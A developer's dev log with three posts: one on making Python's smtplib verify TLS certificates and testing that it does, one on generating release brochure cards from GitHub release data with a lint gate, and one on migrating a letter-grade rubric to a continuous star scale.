Nate Swenson — Dev Log

smtplib will not check the certificate unless you ask

Fri, 07 Aug 2026 00:00:00 GMT

Shipped

This release added an evening job that emails a generated report at 19:00, with the charts attached inline. Delivery is plain smtplib from a scheduled process, no interactive session anywhere in the path.

A pre-release security review caught the mailer connecting with no SSLContext. That reads as harmless, because the code was already using SMTP_SSL on port 465, which sounds like the secure one. It is not harmless. Python’s SMTP client will happily encrypt a connection to a server it has made no attempt to identify, and the statement right after the handshake is usually login().

This guide builds a small mailer that verifies properly, then writes the test that catches it when it does not. The test is the part worth stealing: the obvious one passes whether verification is on or off.

What the standard library actually does

Two facts, and the second explains the first.

smtplib takes an optional context argument on both transports. The documentation for SMTP_SSL and starttls() describes what a context is for and points at the ssl module’s security considerations, but it never says what you get when you leave it out. That silence is where the trap lives.

The CPython source answers it. Both SMTP_SSL.__init__ and starttls() contain the same two lines:

if context is None:
    context = ssl._create_stdlib_context()

And _create_stdlib_context is an alias:

_create_stdlib_context = _create_unverified_context

It builds a context with cert_reqs=CERT_NONE and check_hostname=False. Encrypted, and authenticated against nothing.

The verifying one is a different factory. ssl.create_default_context() sets verify_mode to CERT_REQUIRED and enables check_hostname, and it is never what you get by omission.

The reason is historical, and PEP 476 states it plainly: it enabled certificate verification by default for HTTP clients and stopped there. The PEP says it “only proposes requiring this level of validation for HTTP clients, not for other protocols such as SMTP.” Self-signed certificates were common on mail servers in 2014, so turning verification on would have broken working deployments. That decision never got revisited, so a smtplib call written today inherits it.

Meanwhile RFC 8314 tells clients the opposite: mail user agents “MUST validate TLS server certificates,” and it prefers implicit TLS on port 465 over STARTTLS because it is simpler to get right. Your code has to close that gap itself.

Build a mailer that verifies

One function returns the context, and both transports take it. Making it a function rather than an inline call is what lets the test reach it later.

# mailer.py
from __future__ import annotations

import smtplib
import ssl
from dataclasses import dataclass
from email.message import EmailMessage
from email.utils import formatdate

#: A hung socket in an unattended job pins the process until something else
#: kills it. Fail instead, and let the retry slot take the next attempt.
SMTP_TIMEOUT_S = 30


@dataclass(frozen=True)
class MailConfig:
    host: str
    port: int
    user: str
    password: str
    to: tuple[str, ...]
    from_addr: str


def tls_context() -> ssl.SSLContext:
    """A certificate-verifying TLS context.

    ssl.create_default_context() is the one that sets verify_mode to
    CERT_REQUIRED and turns check_hostname on. Passing None to smtplib
    gets you the unverified stdlib context instead.
    """
    return ssl.create_default_context()


def build_message(subject: str, body: str, cfg: MailConfig) -> EmailMessage:
    msg = EmailMessage()
    msg["Subject"] = subject
    msg["From"] = cfg.from_addr
    msg["To"] = ", ".join(cfg.to)
    msg["Date"] = formatdate(localtime=True)
    msg.set_content(body)
    return msg


def send(msg: EmailMessage, cfg: MailConfig) -> None:
    context = tls_context()
    if cfg.port == 465:
        # Implicit TLS: the handshake happens inside __init__, so the context
        # has to be supplied at connect time.
        with smtplib.SMTP_SSL(cfg.host, cfg.port, timeout=SMTP_TIMEOUT_S,
                              context=context) as smtp:
            smtp.login(cfg.user, cfg.password)
            smtp.send_message(msg)
    else:
        # STARTTLS: connect in the clear, then upgrade. The upgrade carries the
        # context, and login comes after it, never before.
        with smtplib.SMTP(cfg.host, cfg.port, timeout=SMTP_TIMEOUT_S) as smtp:
            smtp.starttls(context=context)
            smtp.login(cfg.user, cfg.password)
            smtp.send_message(msg)

Two details in send carry weight. The context reaches SMTP_SSL through the constructor and SMTP through starttls(), because those are the two different moments the handshake happens. And login() sits after the upgrade on the STARTTLS branch. Reversed, the password crosses a cleartext socket before the connection is secured.

Test the context, not the outcome

Here is the test almost everyone writes first:

def test_send_delivers_the_message(fake_smtp):
    mailer.send(build_message("hi", "body", CFG), CFG)
    assert fake_smtp.instances[0].sent is not None

It passes with context=context. It also passes with the argument deleted. It cannot distinguish a verified connection from an unverified one, because “the message went out” is true either way. Every assertion about the outcome has this property, which is why the defect survived a green suite.

The assertion has to be about the context object itself. Start with a fake transport that records what it was handed:

# test_mailer.py
import ssl

import pytest

import mailer
from mailer import MailConfig, build_message

CFG = MailConfig(
    host="smtp.example.com", port=465, user="me@example.com",
    password="secret", to=("me@example.com",), from_addr="me@example.com",
)


class FakeSMTP:
    """Records the transport's inputs without opening a socket."""
    instances: list["FakeSMTP"] = []

    def __init__(self, host, port, timeout=None, context=None):
        self.host, self.port, self.timeout = host, port, timeout
        # SMTP_SSL receives the context here; the STARTTLS path leaves this
        # None and supplies it at upgrade time instead.
        self.connect_context = context
        self.starttls_context = None
        self.order: list[str] = []
        FakeSMTP.instances.append(self)

    def __enter__(self):
        return self

    def __exit__(self, *exc):
        return False

    def starttls(self, context=None):
        self.starttls_context = context
        self.order.append("starttls")

    def login(self, user, password):
        self.order.append("login")

    def send_message(self, msg):
        self.order.append("send")


@pytest.fixture
def fake_smtp(monkeypatch):
    FakeSMTP.instances.clear()
    monkeypatch.setattr(mailer.smtplib, "SMTP_SSL", FakeSMTP)
    monkeypatch.setattr(mailer.smtplib, "SMTP", FakeSMTP)
    return FakeSMTP


def msg():
    return build_message("subject", "body", CFG)

Now four assertions that can actually fail:

def test_tls_context_verifies_certificates_and_hostnames():
    ctx = mailer.tls_context()
    assert ctx.check_hostname is True
    assert ctx.verify_mode is ssl.CERT_REQUIRED


def test_context_is_not_the_unverified_stdlib_default():
    # Pin the distinction against the exact thing smtplib would have used.
    unverified = ssl._create_stdlib_context()
    assert (unverified.check_hostname, unverified.verify_mode) == (False, ssl.CERT_NONE)
    ctx = mailer.tls_context()
    assert (ctx.check_hostname, ctx.verify_mode) != (False, ssl.CERT_NONE)


def test_implicit_tls_passes_a_verifying_context_at_connect(fake_smtp):
    mailer.send(msg(), CFG)
    conn = fake_smtp.instances[0]
    assert conn.connect_context is not None, "SMTP_SSL got context=None"
    assert conn.connect_context.check_hostname is True
    assert conn.connect_context.verify_mode is ssl.CERT_REQUIRED


def test_credentials_never_cross_an_unupgraded_socket(fake_smtp):
    cfg = MailConfig(**{**CFG.__dict__, "port": 587})
    mailer.send(msg(), cfg)
    conn = fake_smtp.instances[0]
    assert conn.starttls_context is not None, "starttls() got context=None"
    assert conn.starttls_context.verify_mode is ssl.CERT_REQUIRED
    assert conn.order == ["starttls", "login", "send"]

The last one checks ordering as well as presence, because a login() ahead of the upgrade is a separate bug with the same consequence.

Verify it against a real server

Unit tests prove you passed a context. They do not prove the context is enforced at handshake time, and that is worth confirming once with positive and negative controls. Save this next to mailer.py:

# verify_tls.py
import socket
import ssl

from mailer import tls_context

HOST, PORT = "smtp.gmail.com", 465
ctx = tls_context()
print(f"context: check_hostname={ctx.check_hostname} verify_mode={ctx.verify_mode!r}")

with socket.create_connection((HOST, PORT), timeout=15) as s:
    with ctx.wrap_socket(s, server_hostname=HOST) as t:
        print(f"real hostname   : handshake OK, {t.version()}")

try:
    with socket.create_connection((HOST, PORT), timeout=15) as s:
        with ctx.wrap_socket(s, server_hostname="not-really-gmail.example.com"):
            print("wrong hostname  : ACCEPTED, verification is NOT enforced")
except ssl.SSLCertVerificationError as e:
    print(f"wrong hostname  : rejected, {str(e)[:58]}")

Run it:

python verify_tls.py

context: check_hostname=True verify_mode=<VerifyMode.CERT_REQUIRED: 2>
real hostname   : handshake OK, TLSv1.3
wrong hostname  : rejected, [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed

The second line proves the context works against the server you actually use. The third proves it rejects one it should not trust.

Now break it on purpose. Change tls_context() to return ssl._create_stdlib_context(), which is what smtplib would have used for you, and run the script again:

context: check_hostname=False verify_mode=<VerifyMode.CERT_NONE: 0>
real hostname   : handshake OK, TLSv1.3
wrong hostname  : ACCEPTED, verification is NOT enforced

The middle line does not move. A connection to the right server succeeds identically either way, which is precisely why this defect is invisible in normal operation, and why the negative control is the only line worth watching.

Gotchas

Port 465 sounds like the safe one, so nobody audits it. The trap is that SMTP_SSL and starttls() fail the same way, and the mental model that STARTTLS is the risky path leaves the implicit-TLS branch unreviewed. Symptom: none. The connection succeeds, the mail arrives, the logs are clean. The escape is to treat “which transport” as unrelated to “is it verified,” and pass an explicit context to both.

A green test suite is not evidence here. This is the one that bit this release. The mailer reached a feature branch with a passing suite covering the MIME tree, the config resolution and the transport selection, and not one assertion in it could fail on an unverified connection. Counting the pre-fix test file against the released one is the tidiest measure of the gap: zero references to verify_mode before, six after. Symptom: a review finds the defect and you discover the suite was never watching. The escape is the mutation check. Delete context=context, run the tests, and confirm something goes red. If nothing does, the test you just wrote is decorative.

Unattended jobs remove the human who would have noticed. An interactive client gives someone a chance to see a certificate warning. A scheduled job at 19:00 with a retry at 20:00 has nobody watching, and it re-attempts the same connection on a schedule. That turns a one-time interception into a recurring one. When the job authenticates, assume the credential is the target, not the payload.

_create_stdlib_context is private, and pinning against it is a deliberate trade. The second test above imports an underscore-prefixed CPython function, which can change without a deprecation cycle. That is the cost of asserting on the exact thing you must not be. If you would rather not depend on a private name, assert the positive properties only and accept that the test no longer names the failure mode it exists to prevent.

Sources

PEP 476: Enabling certificate verification by default for stdlib http clients — scopes verification to HTTP clients and excludes SMTP explicitly
CPython Lib/smtplib.py — the if context is None fallback in both SMTP_SSL.__init__ and starttls()
CPython Lib/ssl.py — _create_stdlib_context aliased to _create_unverified_context
Python ssl documentation — create_default_context() sets CERT_REQUIRED and enables check_hostname
Python smtplib documentation — the context parameter on SMTP_SSL and starttls()
RFC 8314 — clients MUST validate server certificates; implicit TLS preferred over STARTTLS

Changelog

release: 0.51.0 — evening brief email (dev → main) (#202) (a2156d2)

The only wrong number was the one a human typed

Tue, 04 Aug 2026 00:00:00 GMT

Shipped

A new card type composes a one-page brochure for a shipped release: nameplate, headline, the refusal the skill makes in its own words, the install line, and one proof figure. Underneath it, a script reads the version, tag, publish date and install commands off the released artifact and refuses outright for a skill with no published release. A scaffold command writes the card with every factual slot already filled and every judgment slot left marked TODO.

Then the second card went out with a number that was wrong by half, and the number was the only thing on it a person had typed.

The split worth stealing

The interesting thing about generating a document is not the templating. It is deciding which slots a machine is allowed to fill.

Some slots have exactly one correct value and it exists somewhere already: the version, the tag, the publish date, the install command. Nobody should be typing those, because typing them means the card is correct only for as long as the person who typed it was paying attention.

Other slots have no correct value anywhere on disk. The headline. What this thing is actually for. Which of the skill’s rules to quote. A script that fills those produces the same card every time, which is another way of saying it produces a card nobody reads.

So the rule is: fill every fact from the artifact, mark every judgment, and let a gate refuse anything still carrying a mark.

This is DRY applied to a document rather than to code. The Pragmatic Programmer states it as every piece of knowledge having “a single, unambiguous, authoritative representation within a system”, and the failure mode it warns about is exactly what happened here: the same fact lived in two places, one of them went stale, and the stale one was the one that got read.

Read the facts off the artifact

"""Read the facts a generated card is allowed to claim, off the released artifact."""
from __future__ import annotations


def semver_key(tag: str, prefix: str) -> tuple[int, ...]:
    """Sort key for a namespaced tag like `widget-v0.10.0`.

    Parsed to integers, never compared as text: `0.10.0` sorts BELOW `0.9.0`
    as a string, which silently advertises an older release as the newest.
    """
    body = tag[len(prefix):].lstrip("v")
    parts = (body.split("-", 1)[0]).split(".")
    return tuple(int(p) if p.isdigit() else 0 for p in (parts + ["0", "0", "0"])[:3])


def latest_release(releases: list[dict], component: str) -> dict | None:
    """The newest published release whose TAG BELONGS TO THIS COMPONENT.

    In a monorepo a repo-wide "latest" is the wrong answer: it prints another
    component's version under this one's name.
    """
    prefix = f"{component}-v"
    mine = [
        r for r in releases
        if r["tagName"].startswith(prefix)
        and not r.get("isDraft") and not r.get("isPrerelease")
    ]
    if not mine:
        return None
    return max(mine, key=lambda r: semver_key(r["tagName"], prefix))


def build_facts(releases: list[dict], component: str, slug: str, marketplace: str) -> dict:
    """Every slot a machine can fill. Refuses outright rather than blanking one."""
    rel = latest_release(releases, component)
    if rel is None:
        raise SystemExit(
            f"{component}: no published release. A card advertising a version "
            f"nobody can install is the one failure it cannot survive."
        )
    prefix = f"{component}-v"
    return {
        "component": component,
        "version": rel["tagName"][len(prefix):],
        "tag": rel["tagName"],
        "publishedAt": rel["publishedAt"][:10],
        # BOTH steps. The install command alone does nothing until the
        # marketplace is added, so a card showing one advertises a path that
        # does not work.
        "installSteps": [
            f"/plugin marketplace add {slug}",
            f"/plugin install {component}@{marketplace}",
        ],
    }

releases is passed in so this stays testable. In real use it comes from gh release list --repo <slug> --limit 200 --json tagName,publishedAt,isDraft,isPrerelease, which the GitHub CLI manual documents as listing releases with those fields, defaulting to 30 items and newest-first.

Three filters, and each one is a different way of being confidently wrong. Draft and prerelease entries are tags that exist without anything installable behind them. The component prefix is what stops a monorepo from printing a sibling’s version under this name. And the sort is numeric, because Semantic Versioning compares major, minor and patch numerically and a text sort puts 0.10.0 below 0.9.0, which is the kind of bug that only appears once you reach a tenth release and then looks like a caching problem.

The refusal at the top of build_facts matters more than it looks. Rendering a brochure with a blank version is worse than rendering nothing, because a blank gets filled in later by whoever is closest.

Fill the facts, mark the judgment

"""Fill every fact slot; leave every judgment slot marked TODO."""
from __future__ import annotations

TEMPLATE = """<article class="card" id="{example_marker}">
  <p class="nameplate">{component} v{version} · {published}</p>
  <h1>{headline}</h1>
  <p class="standfirst">{standfirst}</p>
  <code class="cmdbar">{install_1}</code>
  <code class="cmdbar">{install_2}</code>
  <blockquote class="refusal">{refusal}</blockquote>
  <p class="proof">{proof}</p>
</article>
"""

# Judgment slots. Nothing on disk answers these, so the scaffold marks them
# rather than guessing, and the lint refuses a card that still carries one.
JUDGMENT = {
    "headline": "TODO headline with one signature pivot",
    "standfirst": "TODO one sentence on what this is for",
    "refusal": "TODO quote the skill's own refusal, do not paraphrase it softer",
    "proof": "TODO one figure you COUNTED today from the artifact",
}


def scaffold(facts: dict) -> str:
    return TEMPLATE.format(
        example_marker="card-real",
        component=facts["component"],
        version=facts["version"],
        published=facts["publishedAt"],
        install_1=facts["installSteps"][0],
        install_2=facts["installSteps"][1],
        **JUDGMENT,
    )

Writing the instruction into the placeholder is worth the extra characters. “TODO headline” tells you a slot is empty; “TODO quote the skill’s own refusal, do not paraphrase it softer” tells you what a correct answer looks like, at the moment you are about to write a wrong one. The placeholder is the only documentation anybody reads, because it is the only documentation that appears in front of them while they work.

Gate the composed card

"""The gate. Runs on the composed card, before anything renders."""
from __future__ import annotations

import re


def lint_card(html: str, facts: dict) -> list[str]:
    findings = []

    # 1. No judgment slot may ship unfilled.
    if "TODO" in html:
        left = re.findall(r"TODO[^<\"]*", html)
        findings.append(f"{len(left)} judgment slot(s) still marked TODO: {left[0]!r}")

    # 2. The demo card must never ship as somebody's release.
    if 'id="card-example"' in html:
        findings.append("this is the example card, not a real one")

    # 3. Both install steps, or the path it advertises does not work.
    shown = html.count('class="cmdbar"')
    if shown < len(facts["installSteps"]):
        findings.append(f"shows {shown} install step(s), needs {len(facts['installSteps'])}")

    # 4. Every fact slot must match the artifact, not something retyped near it.
    for label, value in (("version", facts["version"]), ("date", facts["publishedAt"])):
        if value not in html:
            findings.append(f"{label} {value!r} from the release is not on the card")

    return findings

Check 3 is there because of a real failure. The card originally advertised a single install command, and that command does nothing on its own: the marketplace has to be added first. One line, correct in isolation, describing a path that does not work. That is precisely the failure the facts script exists to prevent, arriving through the half of the install path the script was not surfacing yet.

Check 2 exists because the template ships with an example card, and an example that can render as somebody’s release eventually will.

Run it

from facts import build_facts, latest_release, semver_key
from scaffold import scaffold
from cardlint import lint_card

# Stand-in for `gh release list --repo <slug> --limit 200 --json
# tagName,publishedAt,isDraft,isPrerelease`.
RELEASES = [
    {"tagName": "widget-v0.9.0", "publishedAt": "2026-07-02T10:00:00Z", "isDraft": False, "isPrerelease": False},
    {"tagName": "widget-v0.10.0", "publishedAt": "2026-08-04T09:12:00Z", "isDraft": False, "isPrerelease": False},
    {"tagName": "widget-v0.11.0", "publishedAt": "2026-08-05T09:00:00Z", "isDraft": True, "isPrerelease": False},
    {"tagName": "gadget-v3.1.0", "publishedAt": "2026-08-05T11:00:00Z", "isDraft": False, "isPrerelease": False},
]

# 1. Sorting tags as text picks the wrong one.
published = [
    r["tagName"] for r in RELEASES
    if r["tagName"].startswith("widget-v") and not r["isDraft"] and not r["isPrerelease"]
]
print("candidates        :", published)
print("string sort picks :", max(published))
print("semver sort picks :", max(published, key=lambda t: semver_key(t, "widget-v")))

# 2. A repo-wide "newest" belongs to a different component, and the newest tag
#    of all is an unpublished draft.
print("repo-wide newest  :", max(RELEASES, key=lambda r: r["publishedAt"])["tagName"])
all_widget = [r["tagName"] for r in RELEASES if r["tagName"].startswith("widget-v")]
print("highest widget tag:", max(all_widget, key=lambda t: semver_key(t, "widget-v")), "(a draft)")
print("this component's  :", latest_release(RELEASES, "widget")["tagName"])

facts = build_facts(RELEASES, "widget", "acme/widgets", "acme-marketplace")
print("\nfacts:", facts)

# 3. The scaffold fills facts and marks judgment.
card = scaffold(facts)
print("\nscaffolded card:")
print(card)

print("lint on the scaffold (should refuse):")
for f in lint_card(card, facts):
    print(" -", f)

# 4. A composed card, with the judgment slots actually written.
composed = card
for slot, text in [
    ("TODO headline with one signature pivot", "Ships what it can <span>prove.</span>"),
    ("TODO one sentence on what this is for", "Cuts a release and reads the tag back from origin."),
    ("TODO quote the skill's own refusal, do not paraphrase it softer",
     "Never reports a release until the tag is fetched back from the remote."),
    ("TODO one figure you COUNTED today from the artifact", "121 published guides"),
]:
    composed = composed.replace(slot, text)

print("\nlint on the composed card:", lint_card(composed, facts) or "clean")

# 5. Non-vacuity: the gate must still refuse a card missing an install step.
one_step = composed.replace(f'<code class="cmdbar">{facts["installSteps"][0]}</code>\n  ', "")
print("lint on a one-step card:", lint_card(one_step, facts))

assert lint_card(card, facts), "the gate must refuse an unfilled scaffold"
assert not lint_card(composed, facts), "a fully composed card must pass"
assert lint_card(one_step, facts), "the gate must refuse a broken install path"
print("\nall checks passed")

Save the three blocks as facts.py, scaffold.py and cardlint.py, this one as check.py, and run python3 check.py. It is stdlib only. Here is what it printed for me:

candidates        : ['widget-v0.9.0', 'widget-v0.10.0']
string sort picks : widget-v0.9.0
semver sort picks : widget-v0.10.0
repo-wide newest  : gadget-v3.1.0
highest widget tag: widget-v0.11.0 (a draft)
this component's  : widget-v0.10.0

facts: {'component': 'widget', 'version': '0.10.0', 'tag': 'widget-v0.10.0', 'publishedAt': '2026-08-04', 'installSteps': ['/plugin marketplace add acme/widgets', '/plugin install widget@acme-marketplace']}

scaffolded card:
<article class="card" id="card-real">
  <p class="nameplate">widget v0.10.0 · 2026-08-04</p>
  <h1>TODO headline with one signature pivot</h1>
  <p class="standfirst">TODO one sentence on what this is for</p>
  <code class="cmdbar">/plugin marketplace add acme/widgets</code>
  <code class="cmdbar">/plugin install widget@acme-marketplace</code>
  <blockquote class="refusal">TODO quote the skill's own refusal, do not paraphrase it softer</blockquote>
  <p class="proof">TODO one figure you COUNTED today from the artifact</p>
</article>

lint on the scaffold (should refuse):
 - 4 judgment slot(s) still marked TODO: 'TODO headline with one signature pivot'

lint on the composed card: clean
lint on a one-step card: ['shows 1 install step(s), needs 2']

all checks passed

Four lines at the top, four different wrong answers, all of them plausible. The string sort, the repo-wide newest, the highest tag including a draft, and the right one. Any of the first three would have rendered a card that looked completely fine.

Gotchas

The slot with no rule is the slot that goes stale. Every fact on the second card was read from the release and every one was right. The proof figure was not, because nothing said where it had to come from, so it was copied out of a project document that said 61. Counting the actual published items gave 121. The document had simply not been updated in a while, which is what documents do. The fix was to give that slot the same kind of rule the others already had: count it from the artifact today, never quote it from a README, a design doc or a changelog note, and drop the figure entirely rather than ship one you cannot count. A slot with no provenance rule will be filled from whatever is nearest, and what is nearest is usually a document rather than the thing itself.

A parser that knows one dialect reports “empty”, not “unsupported”. The changelog reader here matched one heading style. This repo writes two. Against the other style it returned an empty list, which downstream read as a release that changed nothing, rather than as a parse failure. When a reader finds nothing, make it say whether it found nothing or understood nothing. Those look identical in a result and are opposite in a diagnosis.

Do not let a missing input become a silent blank. One skill declares no single headline rule, and the quote slot rendered empty. Empty is the worst of the three options, because it invites an invented promise. Say what to do instead: quote it from the release notes, or drop the element. A generator that cannot produce a slot should say so in the slot.

Measure the box you actually care about. A layout check here compared a chip’s border box against a line height, so any generously padded command chip was reported as wrapping while sitting comfortably on one line. Switching it to the content box fixed it. It surfaced while building this card and would have nagged every card with a prominent command in it.

Assert the gate still refuses. The last three lines of the run script are assertions that an unfilled scaffold fails, a composed card passes, and a card with a broken install path fails. Only the middle one is about today’s output. The other two are what stop the gate from quietly becoming a function that returns an empty list.

Sources

The DRY Principle (The Pragmatic Programmer, excerpt) — every piece of knowledge needs one authoritative representation, which is what a generated fact slot enforces
gh release list (GitHub CLI manual) — reading published releases with --json tagName,publishedAt,isDraft,isPrerelease
Semantic Versioning 2.0.0 — numeric precedence, and why tags cannot be sorted as text

Changelog

fix(ghostwriter): three evidence gaps the second brochure exposed (#184) (037dc56)
feat(ghostwriter): a brochure card for a shipped release, built from the release itself (0.15.0) (#183) (79b7eaf)

Your new scale can inherit the old one's calibration

Tue, 04 Aug 2026 00:00:00 GMT

Shipped

The report card that grades a run against its prescription stopped handing out letters and started scoring 1 to 5 with fractional precision. Every compliance metric still reduces to one non-negative relative deviation through one shared grader; that grader now returns a number instead of one of five letters plus a plus-or-minus modifier. The interesting part is not the stars. It is that the new curve was built on the old rubric’s own band edges, so a scale that took months of tuning to trust carried its calibration across the swap intact.

That is the technique this walks through: how to replace a discrete scale with a continuous one without re-earning the trust you already have in it.

Measure the scale before you redesign it

The honest reason this change happened is that I looked at a stack of my own report cards and noticed most of them said the same thing. A quarter of all cards scored a perfect 4.00. Across 240 real cards spanning 730 days, the plus-or-minus modifier appeared on 545 of 749 graded rows, and A+ alone was 63% of distance rows, 90% of heart-rate rows and 76% of continuity. The modifier was telling me a deviation sat in the bottom third of a band whose bottom third held about seventy percent of everything. That is decoration.

Before you touch the curve, write the measurement that says whether you have this problem. It is short, and it is the thing you will re-run afterwards to prove the change did something.

"""The discrete grader you already have, plus the measurement that judges it."""
from collections import Counter

# Each band is (upper edge of relative deviation, label). Anything past the last
# edge is the floor. These edges are the calibrated part; the letters are not.
GRADE_BANDS = ((0.05, "A"), (0.10, "B"), (0.20, "C"), (0.35, "D"))
FLOOR_LABEL = "F"


def grade_from_deviation(d, widen=1.0):
    """Relative deviation -> one of five labels. None in, None out."""
    if d is None:
        return None
    for edge, label in GRADE_BANDS:
        if d <= edge * widen:
            return label
    return FLOOR_LABEL


def occupancy(scores):
    """How much of your scale the data actually uses."""
    graded = [s for s in scores if s is not None]
    counts = Counter(graded)
    top = counts.most_common(1)[0]
    return {
        "n": len(graded),
        "levels_used": len(counts),
        "most_common": top[0],
        "most_common_share": round(top[1] / len(graded), 3),
    }

Two numbers decide it. levels_used tells you how many rungs your data actually reaches, and most_common_share tells you how much of the mass piles on one of them. A five-level scale where one level holds 60% of the rows is a two-level scale wearing a costume.

Categorising a continuous measurement is a known-expensive move, and the clinical statistics literature has quantified the bill. Altman and Royston’s note on dichotomising continuous variables puts it bluntly: cutting a variable at the median “reduces power by the same amount as would discarding a third of the data”, and individuals sitting close together on opposite sides of a cut point “are characterised as being very different rather than very similar”. A grading rubric is that same trade, made on purpose for readability. It is worth making only while the buckets are carrying information.

Lift the boundaries out of the old rubric

Here is the move that saves the calibration. Do not design a new curve. Take the band edges you already have, drop the labels, and use the edges as the knots of a piecewise-linear curve.

"""The continuous curve. Its knots ARE the old band edges."""
from grader import GRADE_BANDS

SCORE_MAX = 5.0
SCORE_FLOOR = 1.0

# The old edges, with the labels dropped. Changing these recalibrates the
# rubric; that is the whole reason they are lifted from GRADE_BANDS rather
# than retyped.
KNOTS = tuple(edge for edge, _label in GRADE_BANDS)

# (normalized position, score at that position). Derived, so a change to KNOTS
# cannot leave the anchors stale.
ANCHORS = ((0.0, SCORE_MAX),) + tuple(
    (k / KNOTS[-1], SCORE_MAX - 1 - i) for i, k in enumerate(KNOTS)
)

SCALE = KNOTS[-1]          # normalizer: z == 1.0 at the old floor edge
NOISE = {"distance": 0.0, "pace": 0.0, "hr": 0.0}


def score_from_deviation(d, metric, widen=1.0):
    """Relative deviation -> a continuous score in [SCORE_FLOOR, SCORE_MAX]."""
    if d is None:
        return None
    z = max(0.0, d - NOISE[metric]) / (widen * SCALE)
    if z <= 0.0:
        return SCORE_MAX
    if z >= 1.0:
        return SCORE_FLOOR
    for (z0, s0), (z1, s1) in zip(ANCHORS, ANCHORS[1:]):
        if z <= z1:
            return s0 + (s1 - s0) * (z - z0) / (z1 - z0)
    return SCORE_FLOOR


def display_score(score, step=0.25):
    """Score -> the value the glyphs draw. Rounding is display, never math."""
    if score is None:
        return None
    return round(score / step) * step

KNOTS is imported, not retyped. That single line is what makes the property survive a future retune: if someone moves a band edge, both scales move together, and nobody can quietly reshape the curve while believing the old validation still applies.

Deriving ANCHORS rather than writing them out matters for the same reason. A hand-written anchor table is a second copy of the boundaries, and second copies go stale exactly when you are busy thinking about something else.

The clamping at both ends is deliberate and it is worth copying. It is the same behaviour NumPy’s own linear interpolation gives you: numpy.interp returns fp[0] for anything below the first sample point and fp[-1] for anything above the last, by default. Past the floor, “how much worse” stops being a useful question. One of my metrics has a live maximum almost seven times its own floor, and an unsaturated linear extension would have scored that card somewhere around minus twenty, dragging any average containing it into nonsense.

Make the safety rail arithmetic

The old rubric had a rule: a failing grade on any weighted metric pinned the overall to a C. That rule exists so a card cannot print a comfortable summary directly above a row that failed. It was a threshold, which means it either fired or it did not.

A continuous scale lets the same rule become arithmetic.

"""Aggregation, with the safety rail expressed as arithmetic."""
from stars import SCORE_FLOOR

# SCORE_FLOOR + HEADROOM is the value the old discrete cap pinned to, so this
# reproduces that rule exactly at the old boundary and degrades linearly on
# either side of it instead of stepping.
HEADROOM = 2.0


def overall(rows, weights):
    """Weighted mean, never allowed to sit more than HEADROOM above the worst row.

    Returns (capped, uncapped) so the card can say why they disagree.
    """
    graded = {m: s for m, s in rows.items() if s is not None}
    if not graded:
        return None, None
    total_weight = sum(weights[m] for m in graded)
    mean = sum(s * weights[m] for m, s in graded.items()) / total_weight
    capped = min(mean, min(graded.values()) + HEADROOM)
    return round(capped, 2), round(mean, 2)


assert overall({"a": SCORE_FLOOR, "b": 5.0}, {"a": 1, "b": 1})[0] == 3.0

SCORE_FLOOR + HEADROOM is 3.0, which is exactly the C the old cap pinned to. That is the second place the migration inherits rather than invents: the new rule reproduces the old one at the old boundary, then degrades smoothly on either side of it. On the real corpus it catches all ten cards the discrete cap caught, plus sixteen more whose worst row was merely bad rather than floored, which the stepping version ignored completely.

Returning both numbers is worth the extra tuple element. When the capped and uncapped values disagree, the card can say so, and a summary that explains why it is lower than its own average is a summary people believe.

Run it and confirm the scale opened up

Do not take the change on faith. Assert the knots did not move, then re-run the occupancy measurement from the first block on the same inputs.

"""Prove the knots survived the swap, then compare how much scale each uses."""
import random

from grader import grade_from_deviation, occupancy
from stars import ANCHORS, KNOTS, display_score, score_from_deviation
from overall import overall

# 1. Every old band edge still lands exactly on a whole score.
for i, edge in enumerate(KNOTS):
    got = score_from_deviation(edge, "pace")
    want = 4.0 - i
    assert abs(got - want) < 1e-9, f"knot {edge} moved: {got} != {want}"
print("knots:", KNOTS)
print("anchors:", tuple((round(z, 4), s) for z, s in ANCHORS))
print("every old band edge still lands on a whole score")

# 2. Same deviations, both scales.
random.seed(7)
deviations = [abs(random.gauss(0, 0.09)) for _ in range(240)]

old = [grade_from_deviation(d) for d in deviations]
new = [display_score(score_from_deviation(d, "pace")) for d in deviations]

print()
print("old", occupancy(old))
print("new", occupancy(new))

# 3. The rail is arithmetic, so it degrades instead of stepping.
weights = {"pace": 0.42, "distance": 0.33, "hr": 0.25}
for worst in (1.0, 1.5, 2.5):
    rows = {"pace": worst, "distance": 5.0, "hr": 5.0}
    capped, mean = overall(rows, weights)
    print(f"worst row {worst}: overall {capped} (uncapped {mean})")

Save the three blocks as grader.py, stars.py and overall.py, this one as check_scale.py, and run it. That is the whole dependency list; it is stdlib Python. Here is what it printed for me:

knots: (0.05, 0.1, 0.2, 0.35)
anchors: ((0.0, 5.0), (0.1429, 4.0), (0.2857, 3.0), (0.5714, 2.0), (1.0, 1.0))
every old band edge still lands on a whole score

old {'n': 240, 'levels_used': 4, 'most_common': 'A', 'most_common_share': 0.421}
new {'n': 240, 'levels_used': 14, 'most_common': 2.75, 'most_common_share': 0.125}
worst row 1.0: overall 3.0 (uncapped 3.32)
worst row 1.5: overall 3.5 (uncapped 3.53)
worst row 2.5: overall 3.95 (uncapped 3.95)

Four occupied levels became fourteen, and the pile-up on one value fell from 42% to 12.5%, on identical inputs. The bottom three lines are the rail behaving like arithmetic: a floored row still pins the overall to exactly 3.0, a merely-bad row of 1.5 pulls it down slightly, and a 2.5 leaves the mean alone.

On the real corpus the shape held. The overall went from 4 occupied levels to 12, perfect scores halved from 33% to 17%, and pace, which carries the heaviest weight on easy and quality days, went from 5 letters to 15 levels. Rank agreement with the old score is 0.944 across all 27,730 card pairs, and the 5.6% that reorder are the cards where the modifier was carrying the difference the letter threw away.

Gotchas

Every site that parsed the old representation breaks silently. A letter grade invites grade[0] as a way to get the base letter, and that slice gets re-implemented wherever someone needs it. Four places in this codebase had their own copy. Under a numeric score none of them raised: a distribution quietly emptied while the line that printed it kept printing, a suppression rule stopped firing so a badly-run quality day was promoted back into the coach’s receipts as “done as prescribed”, a CSS class name matched no rule and the card still rendered cleanly, and a calibration script skipped every metric and exited 0. Of everything touching the old scale, only one pinned description failed loudly. The escape is to grep for the parse, not the symbol. Search for the slice, the regex, the startswith, the class-name concatenation. A type checker will not find these and neither will a shape-level test, because the shape did not change. Fowler’s Replace Primitive with Object is the long-term fix; the short-term one is knowing that the slice is the thing you are hunting.

